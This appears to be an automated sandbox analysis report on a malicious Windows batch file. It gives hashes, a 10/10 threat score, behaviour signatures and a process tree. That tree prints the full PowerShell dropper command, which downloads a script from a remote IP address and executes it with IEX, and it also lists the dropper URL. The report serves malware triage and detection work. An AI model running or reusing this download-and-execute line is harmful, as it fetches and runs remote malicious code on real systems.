Analysis

  • max time kernel
    135s
  • max time network
    67s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    05-06-2020 13:10

General

  • Target

    b84c5ee27ddebb86958f6d6a06c0d157.bat

  • Size

    215B

  • MD5

    3fb4882cf9ed9ae348a4f6778326213f

  • SHA1

    d0232b07da1053d045511423371421f57c148d1f

  • SHA256

    16197944f910a1ec6485dcb92730374511c7e560e0b78ba3c6410e5238ba6f0e

  • SHA512

    fabe93e067bf0541b1f03d910f9dd07f4c5408f6922c1d736dec551646a1118deee24df1a8d77c74951d58f0260056600c2ec82b397251940f3869a39e87ed60

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/b84c5ee27ddebb86958f6d6a06c0d157

Signatures

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b84c5ee27ddebb86958f6d6a06c0d157.bat"
    1⤵
      PID:1516
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/b84c5ee27ddebb86958f6d6a06c0d157');Invoke-VKIADKNT;Start-Sleep -s 10000"
        2⤵
          PID:3936
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3936 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:420

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/420-0-0x00000000043A0000-0x00000000043A1000-memory.dmp

        Filesize

        4KB

      • memory/420-1-0x00000000049D0000-0x00000000049D1000-memory.dmp

        Filesize

        4KB